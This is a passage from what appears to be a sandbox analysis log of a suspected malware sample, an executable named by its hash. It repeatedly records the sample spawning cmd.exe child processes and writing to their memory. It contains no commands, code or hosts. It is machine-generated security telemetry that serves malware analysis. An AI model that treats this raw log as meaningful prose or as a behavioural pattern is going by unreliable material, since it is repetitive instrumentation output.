7220 cmd.exe 995 PID 7220 wrote to memory of 7288 7220 cmd.exe 995 PID 7220 wrote to memory of 7308 7220 cmd.exe 996 PID 7220 wrote to memory of 7308 7220 cmd.exe 996 PID 7220 wrote to memory of 7308 7220 cmd.exe 996 PID 7308 wrote to memory of 7324 7308 cmd.exe 997 PID 7308 wrote to memory of 7324 7308 cmd.exe 997 PID 7308 wrote to memory of 7324 7308 cmd.exe 997 PID 7220 wrote to memory of 7348 7220 cmd.exe 998 PID 7220 wrote to memory of 7348 7220 cmd.exe 998 PID 7220 wrote to memory of 7348 7220 cmd.exe 998 PID 3800 wrote to memory of 7372 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 999 PID 3800 wrote to memory of 7372 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 999 PID 3800 wrote to memory of 7372 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 999 PID 7372 wrote to memory of 7420 7372 cmd.exe 1001 PID 7372 wrote to memory of 7420 7372 cmd.exe 1001 PID 7372 wrote to memory of 7420 7372 cmd.exe 1001 PID 7372 wrote to memory of 7444 7372 cmd.exe 1002 PID 7372 wrote to memory of 7444 7372 cmd.exe 1002 PID 7372 wrote to memory of 7444 7372 cmd.exe 1002 PID 7372 wrote to memory of 7464 7372 cmd.exe 1003 PID 7372 wrote to memory of 7464 7372 cmd.exe 1003 PID 7372 wrote to memory of 7464 7372 cmd.exe 1003 PID 7464 wrote to memory of 7480 7464 cmd.exe 1004 PID 7464 wrote to memory of 7480 7464 cmd.exe 1004 PID 7464 wrote to memory of 7480 7464 cmd.exe 1004 PID 7372 wrote to memory of 7504 7372 cmd.exe 1005 PID 7372 wrote to memory of 7504 7372 cmd.exe 1005 PID 7372 wrote to memory of 7504 7372 cmd.exe 1005 PID 3800 wrote to memory of 7528 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1006 PID 3800 wrote to memory of 7528 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1006 PID 3800 wrote to memory of 7528 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1006 PID 7528 wrote to memory of 7576 7528 cmd.exe 1008 PID 7528 wrote to memory of 7576 7528 cmd.exe 1008 PID 7528 wrote to memory of 7576 7528 cmd.exe 1008 PID 7528 wrote to memory of 7596 7528 cmd.exe 1009 PID 7528 wrote to memory of 7596 7528 cmd.exe 1009 PID 7528 wrote to memory of 7596 7528 cmd.exe 1009 PID 7528 wrote to memory of 7616 7528 cmd.exe 1010 PID 7528 wrote to memory of 7616 7528 cmd.exe 1010 PID 7528 wrote to memory of 7616 7528 cmd.exe 1010 PID 7616 wrote to memory of 7632 7616 cmd.exe 1011 PID 7616 wrote to memory of 7632 7616 cmd.exe 1011 PID 7616 wrote to memory of 7632 7616 cmd.exe 1011 PID 7528 wrote to memory of 7656 7528 cmd.exe 1012 PID 7528 wrote to memory of 7656 7528 cmd.exe 1012 PID 7528 wrote to memory of 7656 7528 cmd.exe 1012 PID 3800 wrote to memory of 7680 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1013 PID 3800 wrote to memory of 7680 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1013 PID 3800 wrote to memory of 7680 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1013 PID 7680 wrote to memory of 7728 7680 cmd.exe 1015 PID 7680 wrote to memory of 7728 7680 cmd.exe 1015 PID 7680 wrote to memory of 7728 7680 cmd.exe 1015 PID 7680 wrote to memory of 7748 7680 cmd.exe 1016 PID 7680 wrote to memory of 7748 7680 cmd.exe 1016 PID 7680 wrote to memory of 7748 7680 cmd.exe 1016 PID 7680 wrote to memory of 7768 7680 cmd.exe 1017 PID 7680 wrote to memory of 7768 7680 cmd.exe 1017 PID 7680 wrote to memory of 7768 7680 cmd.exe 1017 PID 7768 wrote to memory of 7784 7768 cmd.exe 1018 PID 7768 wrote to memory of 7784 7768 cmd.exe 1018 PID 7768 wrote to memory of 7784 7768 cmd.exe 1018 PID 7680 wrote to memory of 7808 7680 cmd.exe 1019 PID 7680 wrote to memory of 7808 7680 cmd.exe 1019 PID 7680 wrote to memory of 7808 7680 cmd.exe 1019 PID 3800 wrote to memory of 7832 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1020 PID 3800 wrote to memory of 7832 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1020 PID 3800 wrote to memory of 7832 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1020 PID 7832 wrote to memory of 7880 7832 cmd.exe 1022 PID 7832 wrote to memory of 7880 7832 cmd.exe 1022 PID 7832 wrote to memory of 7880 7832 cmd.exe 1022 PID 7832 wrote to memory of 7900 7832 cmd.exe 1023 PID 7832 wrote to memory of 7900 7832 cmd.exe 1023 PID 7832 wrote to memory of 7900 7832 cmd.exe 1023 PID 7832 wrote to memory of 7920 7832 cmd.exe 1024 PID 7832 wrote to memory of 7920 7832 cmd.exe 1024 PID 7832 wrote to memory of 7920 7832 cmd.exe 1024 PID 7920 wrote to memory of 7936 7920 cmd.exe 1025 PID 7920 wrote to memory of 7936 7920 cmd.exe 1025 PID 7920 wrote to memory of 7936 7920 cmd.exe 1025 PID 7832 wrote to memory of 7960 7832 cmd.exe 1026 PID 7832 wrote to memory of 7960 7832 cmd.exe 1026 PID 7832 wrote to memory of 7960 7832 cmd.exe 1026 PID 3800 wrote to memory of 7984 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1027 PID 3800 wrote to memory of 7984 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1027 PID 3800 wrote to memory of 7984 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1027 PID 7984 wrote to memory of 8032 7984 cmd.exe 1029 PID 7984 wrote to memory of 8032 7984 cmd.exe 1029 PID 7984 wrote to memory of 8032 7984 cmd.exe 1029 PID 7984 wrote to memory of 8052 7984 cmd.exe 1030 PID 7984 wrote to memory of 8052 7984 cmd.exe 1030 PID 7984 wrote to memory of 8052 7984 cmd.exe 1030 PID 7984 wrote to memory of 8072 7984 cmd.exe 1031 PID 7984 wrote to memory of 8072 7984 cmd.exe 1031 PID 7984 wrote to memory of 8072 7984 cmd.exe 1031 PID 8072 wrote to memory of 8088 8072 cmd.exe 1032 PID 8072 wrote to memory of 8088 8072 cmd.exe 1032 PID 8072 wrote to memory of 8088 8072 cmd.exe 1032 PID 7984 wrote to memory of 8112 7984 cmd.exe 1033 PID 7984 wrote to memory of 8112 7984 cmd.exe 1033 PID 7984 wrote to memory of 8112 7984 cmd.exe 1033 PID 3800 wrote to memory of 8136 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1034 PID 3800 wrote to memory of 8136 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1034 PID 3800 wrote to memory of 8136 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1034 PID 8136 wrote to memory of 8184 8136 cmd.exe 1036 PID 8136 wrote to memory of 8184 8136 cmd.exe 1036 PID 8136 wrote to memory of 8184 8136 cmd.exe 1036 PID 8136 wrote to memory of 7188 8136 cmd.exe 1037 PID 8136 wrote to memory of 7188 8136 cmd.exe 1037 PID 8136 wrote to memory of 7188 8136 cmd.exe 1037 PID 8136 wrote to memory of 7208 8136 cmd.exe 1038 PID 8136 wrote to memory of 7208 8136 cmd.exe 1038 PID 8136 wrote to memory of 7208 8136 cmd.exe 1038 PID 7208 wrote to memory of 3416 7208 cmd.exe 1039 PID 7208 wrote to memory of 3416 7208 cmd.exe 1039 PID 7208 wrote to memory of 3416 7208 cmd.exe 1039 PID 8136 wrote to memory of 7044 8136 cmd.exe 1040 PID 8136 wrote to memory of 7044 8136 cmd.exe 1040 PID 8136 wrote to memory of 7044 8136 cmd.exe 1040 PID 3800 wrote to memory of 7284 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1041 PID 3800 wrote to memory of 7284 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1041 PID 3800 wrote to memory of 7284 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1041 PID 7284 wrote to memory of 7340 7284 cmd.exe 1043 PID 7284 wrote to memory of 7340 7284 cmd.exe 1043 PID 7284 wrote to memory of 7340 7284 cmd.exe 1043 PID 7284 wrote to memory of 7352 7284 cmd.exe 1044 PID 7284 wrote to memory of 7352 7284 cmd.exe 1044 PID 7284 wrote to memory of 7352 7284 cmd.exe 1044 PID 7284 wrote to memory of 7264 7284 cmd.exe 1045 PID 7284 wrote to memory of 7264 7284 cmd.exe 1045 PID 7284 wrote to memory of 7264 7284 cmd.exe 1045 PID 7264 wrote to memory of 7256 7264 cmd.exe 1046 PID 7264 wrote to memory of 7256 7264 cmd.exe 1046 PID 7264 wrote to memory of 7256 7264 cmd.exe 1046 PID 7284 wrote to memory of 7440 7284 cmd.exe 1047 PID 7284 wrote to memory of 7440 7284 cmd.exe 1047 PID 7284 wrote to memory of 7440 7284 cmd.exe 1047 PID 3800 wrote to memory of 7448 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1048 PID 3800 wrote to memory of 7448 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1048 PID 3800 wrote to memory of 7448 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1048 PID 7448 wrote to memory of 7524 7448 cmd.exe 1050 PID 7448 wrote to memory of 7524 7448 cmd.exe 1050 PID 7448 wrote to memory of 7524 7448 cmd.exe 1050 PID 7448 wrote to memory of 7404 7448 cmd.exe 1051 PID 7448 wrote to memory of 7404 7448 cmd.exe 1051 PID 7448 wrote to memory of 7404 7448 cmd.exe 1051 PID 7448 wrote to memory of 7392 7448 cmd.exe 1052 PID 7448 wrote to memory of 7392 7448 cmd.exe 1052 PID 7448 wrote to memory of 7392 7448 cmd.exe 1052 PID 7392 wrote to memory of 7584 7392 cmd.exe 1053 PID 7392 wrote to memory of 7584 7392 cmd.exe 1053 PID 7392 wrote to memory of 7584 7392 cmd.exe 1053 PID 7448 wrote to memory of 7600 7448 cmd.exe 1054 PID 7448 wrote to memory of 7600 7448 cmd.exe 1054 PID 7448 wrote to memory of 7600 7448 cmd.exe 1054 PID 3800 wrote to memory of 7652 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1055 PID 3800 wrote to memory of 7652 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1055 PID 3800 wrote to memory of 7652 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1055 PID 7652 wrote to memory of 7568 7652 cmd.exe 1057 PID 7652 wrote to memory of 7568 7652 cmd.exe 1057 PID 7652 wrote to memory of 7568 7652 cmd.exe 1057 PID 7652 wrote to memory of 7540 7652 cmd.exe 1058 PID 7652 wrote to memory of 7540 7652 cmd.exe 1058 PID 7652 wrote to memory of 7540 7652 cmd.exe 1058 PID 7652 wrote to memory of 7740 7652 cmd.exe 1059 PID 7652 wrote to memory of 7740 7652 cmd.exe 1059 PID 7652 wrote to memory of 7740 7652 cmd.exe 1059 PID 7740 wrote to memory of 7752 7740 cmd.exe 1060 PID 7740 wrote to memory of 7752 7740 cmd.exe 1060 PID 7740 wrote to memory of 7752 7740 cmd.exe 1060 PID 7652 wrote to memory of 7804 7652 cmd.exe 1061 PID 7652 wrote to memory of 7804 7652 cmd.exe 1061 PID 7652 wrote to memory of 7804 7652 cmd.exe 1061 PID 3800 wrote to memory of 7828 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1062 PID 3800 wrote to memory of 7828 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1062 PID 3800 wrote to memory of 7828 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1062 PID 7828 wrote to memory of 7840 7828 cmd.exe 1064 PID 7828 wrote to memory of 7840 7828 cmd.exe 1064 PID 7828 wrote to memory of 7840 7828 cmd.exe 1064 PID 7828 wrote to memory of 7884 7828 cmd.exe 1065 PID 7828 wrote to memory of 7884 7828 cmd.exe 1065 PID 7828 wrote to memory of 7884 7828 cmd.exe 1065 PID 7828 wrote to memory of 7928 7828 cmd.exe 1066 PID 7828 wrote to memory of 7928 7828 cmd.exe 1066 PID 7828 wrote to memory of 7928 7828 cmd.exe 1066 PID 7928 wrote to memory of 7952 7928 cmd.exe 1067 PID 7928 wrote to memory of 7952 7928 cmd.exe 1067 PID 7928 wrote to memory of 7952 7928 cmd.exe 1067 PID 7828 wrote to memory of 7980 7828 cmd.exe 1068 PID 7828 wrote to memory of 7980 7828 cmd.exe 1068 PID 7828 wrote to memory of 7980 7828 cmd.exe 1068 PID 3800 wrote to memory of 7864 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1069 PID 3800 wrote to memory of 7864 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1069 PID 3800 wrote to memory of 7864 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1069 PID 7864 wrote to memory of 8060 7864 cmd.exe 1071 PID 7864 wrote to memory of 8060 7864 cmd.exe 1071 PID 7864 wrote to memory of 8060 7864 cmd.exe 1071 PID 7864 wrote to memory of 8096 7864 cmd.exe 1072 PID 7864 wrote to memory of 8096 7864 cmd.exe 1072 PID 7864 wrote to memory of 8096 7864 cmd.exe 1072 PID 7864 wrote to memory of 8084 7864 cmd.exe 1073 PID 7864 wrote to memory of 8084 7864 cmd.exe 1073 PID 7864 wrote to memory of 8084 7864 cmd.exe 1073 PID 8084 wrote to memory of 8132 8084 cmd.exe 1074 PID 8084 wrote to memory of 8132 8084 cmd.exe 1074 PID 8084 wrote to memory of 8132 8084 cmd.exe 1074 PID 7864 wrote to memory of 8016 7864 cmd.exe 1075 PID 7864 wrote to memory of 8016 7864 cmd.exe 1075 PID 7864 wrote to memory of 8016 7864 cmd.exe 1075 PID 3800 wrote to memory of 8144 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1076 PID 3800 wrote to memory of 8144 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1076 PID 3800 wrote to memory of 8144 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1076 PID 8144 wrote to memory of 6676 8144 cmd.exe 1078 PID 8144 wrote to memory of 6676 8144 cmd.exe 1078 PID 8144 wrote to memory of 6676 8144 cmd.exe 1078 PID 8144 wrote to memory of 7216 8144 cmd.exe 1079 PID 8144 wrote to memory of 7216 8144 cmd.exe 1079 PID 8144 wrote to memory of 7216 8144 cmd.exe 1079 PID 8144 wrote to memory of 2236 8144 cmd.exe 1080 PID 8144 wrote to memory of 2236 8144 cmd.exe 1080 PID 8144 wrote to memory of 2236 8144 cmd.exe 1080 PID 2236 wrote to memory of 8176 2236 cmd.exe 1081 PID 2236 wrote to memory of 8176 2236 cmd.exe 1081 PID 2236 wrote to memory of 8176 2236 cmd.exe 1081 PID 8144 wrote to memory of 7272 8144 cmd.exe 1082 PID 8144 wrote to memory of 7272 8144 cmd.exe 1082 PID 8144 wrote to memory of 7272 8144 cmd.exe 1082 PID 3800 wrote to memory of 7364 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1083 PID 3800 wrote to memory of 7364 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1083 PID 3800 wrote to memory of 7364 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1083 PID 7364 wrote to memory of 7424 7364 cmd.exe 1085 PID 7364 wrote to memory of 7424 7364 cmd.exe 1085 PID 7364 wrote to memory of 7424 7364 cmd.exe 1085 PID 7364 wrote to memory of 7344 7364 cmd.exe 1086 PID 7364 wrote to memory of 7344 7364 cmd.exe 1086 PID 7364 wrote to memory of 7344 7364 cmd.exe 1086 PID 7364 wrote to memory of 7300 7364 cmd.exe 1087 PID 7364 wrote to memory of 7300 7364 cmd.exe 1087 PID 7364 wrote to memory of 7300 7364 cmd.exe 1087 PID 7300 wrote to memory of 7472 7300 cmd.exe 1088 PID 7300 wrote to memory of 7472 7300 cmd.exe 1088 PID 7300 wrote to memory of 7472 7300 cmd.exe 1088 PID 7364 wrote to memory of 7376 7364 cmd.exe 1089 PID 7364 wrote to memory of 7376 7364 cmd.exe 1089 PID 7364 wrote to memory of 7376 7364 cmd.exe 1089 PID 3800 wrote to memory of 7580 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1090 PID 3800 wrote to memory of 7580 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1090 PID 3800 wrote to memory of 7580 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1090 PID 7580 wrote to memory of 7512 7580 cmd.exe 1092 PID 7580 wrote to memory of 7512 7580 cmd.exe 1092 PID 7580 wrote to memory of 7512 7580 cmd.exe 1092 PID 7580 wrote to memory of 7468 7580 cmd.exe 1093 PID 7580 wrote to memory of 7468 7580 cmd.exe 1093 PID 7580 wrote to memory of 7468 7580 cmd.exe 1093 PID 7580 wrote to memory of 7564 7580 cmd.exe 1094 PID 7580 wrote to memory of 7564 7580 cmd.exe 1094 PID 7580 wrote to memory of 7564 7580 cmd.exe 1094 PID 7564 wrote to memory of 7696 7564 cmd.exe 1095 PID 7564 wrote to memory of 7696 7564 cmd.exe 1095 PID 7564 wrote to memory of 7696 7564 cmd.exe 1095 PID 7580 wrote to memory of 7792 7580 cmd.exe 1096 PID 7580 wrote to memory of 7792 7580 cmd.exe 1096 PID 7580 wrote to memory of 7792 7580 cmd.exe 1096 PID 3800 wrote to memory of 7780 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1097 PID 3800 wrote to memory of 7780 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1097 PID 3800 wrote to memory of 7780 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1097 PID 7780 wrote to memory of 7668 7780 cmd.exe 1099 PID 7780 wrote to memory of 7668 7780 cmd.exe 1099 PID 7780 wrote to memory of 7668 7780 cmd.exe 1099 PID 7780 wrote to memory of 7896 7780 cmd.exe 1100 PID 7780 wrote to memory of 7896 7780 cmd.exe 1100 PID 7780 wrote to memory of 7896 7780 cmd.exe 1100 PID 7780 wrote to memory of 7904 7780 cmd.exe 1101 PID 7780 wrote to memory of 7904 7780 cmd.exe 1101 PID 7780 wrote to memory of 7904 7780 cmd.exe 1101 PID 7904 wrote to memory of 7972 7904 cmd.exe 1102 PID 7904 wrote to memory of 7972 7904 cmd.exe 1102 PID 7904 wrote to memory of 7972 7904 cmd.exe 1102 PID 7780 wrote to memory of 7860 7780 cmd.exe 1103 PID 7780 wrote to memory of 7860 7780 cmd.exe 1103 PID 7780 wrote to memory of 7860 7780 cmd.exe 1103 PID 3800 wrote to memory of 7700 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1104 PID 3800 wrote to memory of 7700 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1104 PID 3800 wrote to memory of 7700 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1104 PID 7700 wrote to memory of 8068 7700 cmd.exe 1106 PID 7700 wrote to memory of 8068 7700 cmd.exe 1106 PID 7700 wrote to memory of 8068 7700 cmd.exe 1106 PID 7700 wrote to memory of 8120 7700 cmd.exe 1107 PID 7700 wrote to memory of 8120 7700 cmd.exe 1107 PID 7700 wrote to memory of 8120 7700 cmd.exe 1107 PID 7700 wrote to memory of 8024 7700 cmd.exe 1108 PID 7700 wrote to memory of 8024 7700 cmd.exe 1108 PID 7700 wrote to memory of 8024 7700 cmd.exe 1108 PID 8024 wrote to memory of 8020 8024 cmd.exe 1109 PID 8024 wrote to memory of 8020 8024 cmd.exe 1109 PID 8024 wrote to memory of 8020 8024 cmd.exe 1109 PID 7700 wrote to memory of 8000 7700 cmd.exe 1110 PID 7700 wrote to memory of 8000 7700 cmd.exe 1110 PID 7700 wrote to memory of 8000 7700 cmd.exe 1110 PID 3800 wrote to memory of 7868 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1111 PID 3800 wrote to memory of 7868 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1111 PID 3800 wrote to memory of 7868 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1111 PID 7868 wrote to memory of 8160 7868 cmd.exe 1113 PID 7868 wrote to memory of 8160 7868 cmd.exe 1113 PID 7868 wrote to memory of 8160 7868 cmd.exe 1113 PID 7868 wrote to memory of 8156 7868 cmd.exe 1114 PID 7868 wrote to memory of 8156 7868 cmd.exe 1114 PID 7868 wrote to memory of 8156 7868 cmd.exe 1114 PID 7868 wrote to memory of 7360 7868 cmd.exe 1115 PID 7868 wrote to memory of 7360 7868 cmd.exe 1115 PID 7868 wrote to memory of 7360 7868 cmd.exe 1115 PID 7360 wrote to memory of 5636 7360 cmd.exe 1116 PID 7360 wrote to memory of 5636 7360 cmd.exe 1116 PID 7360 wrote to memory of 5636 7360 cmd.exe 1116 PID 7868 wrote to memory of 6504 7868 cmd.exe 1117 PID 7868 wrote to memory of 6504 7868 cmd.exe 1117 PID 7868 wrote to memory of 6504 7868 cmd.exe 1117 PID 3800 wrote to memory of 7436 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1118 PID 3800 wrote to memory of 7436 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1118 PID 3800 wrote to memory of 7436 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1118 PID 7436 wrote to memory of 7492 7436 cmd.exe 1120 PID 7436 wrote to memory of 7492 7436 cmd.exe 1120 PID 7436 wrote to memory of 7492 7436 cmd.exe 1120 PID 7436 wrote to memory of 7588 7436 cmd.exe 1121 PID 7436 wrote to memory of 7588 7436 cmd.exe 1121 PID 7436 wrote to memory of 7588 7436 cmd.exe 1121 PID 7436 wrote to memory of 7388 7436 cmd.exe 1122 PID 7436 wrote to memory of 7388 7436 cmd.exe 1122 PID 7436 wrote to memory of 7388 7436 cmd.exe 1122 PID 7388 wrote to memory of 7232 7388 cmd.exe 1123 PID 7388 wrote to memory of 7232 7388 cmd.exe 1123 PID 7388 wrote to memory of 7232 7388 cmd.exe 1123 PID 7436 wrote to memory of 7456 7436 cmd.exe 1124 PID 7436 wrote to memory of 7456 7436 cmd.exe 1124 PID 7436 wrote to memory of 7456 7436 cmd.exe 1124 PID 3800 wrote to memory of 7532 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1125 PID 3800 wrote to memory of 7532 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1125 PID 3800 wrote to memory of 7532 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1125 PID 7532 wrote to memory of 7788 7532 cmd.exe 1127 PID 7532 wrote to memory of 7788 7532 cmd.exe 1127 PID 7532 wrote to memory of 7788 7532 cmd.exe 1127 PID 7532 wrote to memory of 7608 7532 cmd.exe 1128 PID 7532 wrote to memory of 7608 7532 cmd.exe 1128 PID 7532 wrote to memory of 7608 7532 cmd.exe 1128 PID 7532 wrote to memory of 7820 7532 cmd.exe 1129 PID 7532 wrote to memory of 7820 7532 cmd.exe 1129 PID 7532 wrote to memory of 7820 7532 cmd.exe 1129 PID 7820 wrote to memory of 7888 7820 cmd.exe 1130 PID 7820 wrote to memory of 7888 7820 cmd.exe 1130 PID 7820 wrote to memory of 7888 7820 cmd.exe 1130 PID 7532 wrote to memory of 7916 7532 cmd.exe 1131 PID 7532 wrote to memory of 7916 7532 cmd.exe 1131 PID 7532 wrote to memory of 7916 7532 cmd.exe 1131 PID 3800 wrote to memory of 7968 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1132 PID 3800 wrote to memory of 7968 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1132 PID 3800 wrote to memory of 7968 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1132 PID 7968 wrote to memory of 7772 7968 cmd.exe 1134 PID 7968 wrote to memory of 7772 7968 cmd.exe 1134 PID 7968 wrote to memory of 7772 7968 cmd.exe 1134 PID 7968 wrote to memory of 7824 7968 cmd.exe 1135 PID 7968 wrote to memory of 7824 7968 cmd.exe 1135 PID 7968 wrote to memory of 7824 7968 cmd.exe 1135 PID 7968 wrote to memory of 8092 7968 cmd.exe 1136 PID 7968 wrote to memory of 8092 7968 cmd.exe 1136 PID 7968 wrote to memory of 8092 7968 cmd.exe 1136 PID 8092 wrote to memory of 8116 8092 cmd.exe 1137 PID 8092 wrote to memory of 8116 8092 cmd.exe 1137 PID 8092 wrote to memory of 8116 8092 cmd.exe 1137 PID 7968 wrote to memory of 8036 7968 cmd.exe 1138 PID 7968 wrote to memory of 8036 7968 cmd.exe 1138 PID 7968 wrote to memory of 8036 7968 cmd.exe 1138 PID 3800 wrote to memory of 8048 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1139 PID 3800 wrote to memory of 8048 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1139 PID 3800 wrote to memory of 8048 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1139 PID 8048 wrote to memory of 7200 8048 cmd.exe 1141 PID 8048 wrote to memory of 7200 8048 cmd.exe 1141 PID 8048 wrote to memory of 7200 8048 cmd.exe 1141 PID 8048 wrote to memory of 8168 8048 cmd.exe 1142 PID 8048 wrote to memory of 8168 8048 cmd.exe 1142 PID 8048 wrote to memory of 8168 8048 cmd.exe 1142 PID 8048 wrote to memory of 7204 8048 cmd.exe 1143 PID 8048 wrote to memory of 7204 8048 cmd.exe 1143 PID 8048 wrote to memory of 7204 8048 cmd.exe 1143 PID 7204 wrote to memory of 7212 7204 cmd.exe 1144 PID 7204 wrote to memory of 7212 7204 cmd.exe 1144 PID 7204 wrote to memory of 7212 7204 cmd.exe 1144 PID 8048 wrote to memory of 7224 8048 cmd.exe 1145 PID 8048 wrote to memory of 7224 8048 cmd.exe 1145 PID 8048 wrote to memory of 7224 8048 cmd.exe 1145 PID 3800 wrote to memory of 7236 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1146 PID 3800 wrote to memory of 7236 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1146 PID 3800 wrote to memory of 7236 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1146 PID 7236 wrote to memory of 7260 7236 cmd.exe 1148 PID 7236 wrote to memory of 7260 7236 cmd.exe 1148 PID 7236 wrote to memory of 7260 7236 cmd.exe 1148 PID 7236 wrote to memory of 7604 7236 cmd.exe 1149 PID 7236 wrote to memory of 7604 7236 cmd.exe 1149 PID 7236 wrote to memory of 7604 7236 cmd.exe 1149 PID 7236 wrote to memory of 7240 7236 cmd.exe 1150 PID 7236 wrote to memory of 7240 7236 cmd.exe 1150 PID 7236 wrote to memory of 7240 7236 cmd.exe 1150 PID 7240 wrote to memory of 7628 7240 cmd.exe 1151 PID 7240 wrote to memory of 7628 7240 cmd.exe 1151 PID 7240 wrote to memory of 7628 7240 cmd.exe 1151 PID 7236 wrote to memory of 7520 7236 cmd.exe 1152 PID 7236 wrote to memory of 7520 7236 cmd.exe 1152 PID 7236 wrote to memory of 7520 7236 cmd.exe 1152 PID 3800 wrote to memory of 7736 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1153 PID 3800 wrote to memory of 7736 3800 